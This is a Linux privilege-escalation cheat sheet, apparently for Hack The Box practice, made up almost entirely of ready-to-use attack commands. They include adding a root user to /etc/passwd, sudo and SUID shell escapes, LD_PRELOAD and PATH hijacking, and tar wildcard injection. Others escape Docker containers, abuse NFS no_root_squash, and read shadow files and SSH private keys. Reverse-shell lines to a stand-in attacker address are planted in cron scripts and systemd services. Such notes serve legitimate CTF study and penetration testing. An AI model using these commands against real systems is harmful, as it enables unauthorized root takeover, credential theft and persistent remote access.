Linux Privesc
Common privesc vectors encountered in HTB machines.
Quick Wins
# 1. Sudo misconfigurationsudo -l# Check GTFOBins for any allowed binary
# 2. SUID binariesfind / -perm -4000 -type f 2>/dev/null# Check GTFOBins for any unusual SUID binary
# 3. Writable /etc/passwdls -la /etc/passwd# If writable, add a root user:echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# 4. Readable /etc/shadowls -la /etc/shadow# Copy hashes, crack with hashcat/john
# 5. SSH keyscat /root/.ssh/id_rsacat /home/*/.ssh/id_rsafind / -name "id_rsa" 2>/dev/nullSudo Abuse
# List sudo permissionssudo -l
# Common GTFOBins exploitssudo vim -c '!sh'sudo find / -exec /bin/sh \;sudo python3 -c 'import os; os.system("/bin/sh")'sudo awk 'BEGIN {system("/bin/sh")}'sudo less /etc/shadow # then !shsudo man man # then !shsudo env /bin/shsudo nmap --interactive # nmap < 5.0sudo perl -e 'exec "/bin/sh";'sudo ruby -e 'exec "/bin/sh"'
# LD_PRELOAD# If: env_keep+=LD_PRELOAD# Compile: gcc -fPIC -shared -nostartfiles -o /tmp/pe.so pe.c# pe.c:# #include <stdio.h># #include <stdlib.h># void _init() { unsetenv("LD_PRELOAD"); setuid(0); system("/bin/bash -p"); }sudo LD_PRELOAD=/tmp/pe.so <allowed_command>
# LD_LIBRARY_PATH# If: env_keep+=LD_LIBRARY_PATH# Find shared libraries: ldd /usr/bin/program# Create malicious .so replacing one of themSUID/SGID Exploitation
# Find SUID binariesfind / -perm -4000 -type f 2>/dev/null
# Common SUID exploits (check GTFOBins)# Custom SUID binary - check for:# - Relative path calls (PATH hijacking)# - Shared library injection# - Command injection through arguments
# PATH hijackingecho '/bin/bash -p' > /tmp/servicechmod +x /tmp/serviceexport PATH=/tmp:$PATH./vulnerable-suid-binary
# Shared library injection# Use strace to find missing .so filesstrace ./suid-binary 2>&1 | grep "No such file"# Create malicious .so in writable locationCapabilities
# Find binaries with capabilitiesgetcap -r / 2>/dev/null
# Common capability exploits# cap_setuid - python3python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_read_search - tartar czf /tmp/shadow.tar.gz /etc/shadowtar xzf /tmp/shadow.tar.gz
# cap_net_raw - tcpdump/python# Sniff network traffic for credentialsCron Jobs
# Check croncat /etc/crontabls -la /etc/cron.*crontab -lls -la /var/spool/cron/crontabs/
# Monitor with pspy./pspy64
# Writable cron scriptecho 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1' >> /path/to/cron-script.sh
# Wildcard injection (if cron runs: tar czf /tmp/backup.tar.gz *)echo "" > "--checkpoint-action=exec=sh shell.sh"echo "" > "--checkpoint=1"echo 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1' > shell.shKernel Exploits
# Check kernel versionuname -rcat /proc/version
# Search for exploitssearchsploit linux kernel <version># Or use linux-exploit-suggester
# Notable kernel exploits:# DirtyPipe (CVE-2022-0847) - Linux 5.8+# DirtyCow (CVE-2016-5195) - Linux 2.6.22 - 4.8.3# PwnKit (CVE-2021-4034) - polkit pkexec# Baron Samedit (CVE-2021-3156) - sudo < 1.9.5p2# GameOver(lay) (CVE-2023-2640, CVE-2023-32629) - Ubuntu OverlayFSDocker Escape
# Check if in Dockerls -la /.dockerenvcat /proc/1/cgroup | grep docker
# Docker socket availabledocker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Privileged containermount /dev/sda1 /mntchroot /mnt
# Cap_sys_adminmount -t cgroup -o rdma cgroup /tmp/cgroupecho 1 > /tmp/cgroup/x/notify_on_releaseecho "#!/bin/sh" > /cmdecho "cat /etc/shadow > /tmp/cgroup/output" >> /cmdchmod +x /cmdecho "/cmd" > /tmp/cgroup/release_agentsh -c "echo $$ > /tmp/cgroup/x/cgroup.procs"NFS Misconfiguration
# Check NFS exportsshowmount -e 10.10.10.Xcat /etc/exports # Look for no_root_squash
# Mount and exploit no_root_squashmount -t nfs 10.10.10.X:/share /mnt# As root on attacker:cp /bin/bash /mnt/bashchmod +s /mnt/bash# On target:/share/bash -pWritable Services/Timers
# Writable systemd servicefind / -writable -name "*.service" 2>/dev/null
# Modify service to execute payload[Service]ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'
# Writable systemd timerfind / -writable -name "*.timer" 2>/dev/nullMiscellaneous
# Internal services on localhostss -tulnp | grep 127.0.0.1# Port forward to access: ssh -L 8080:127.0.0.1:8080 user@10.10.10.X
# Password reuse - try found passwords as rootsu - root
# MySQL running as rootmysql -u root -p\! bash
# Screen sessionsscreen -lsscreen -r <session>
# tmux sessionstmux lstmux attach -t <session>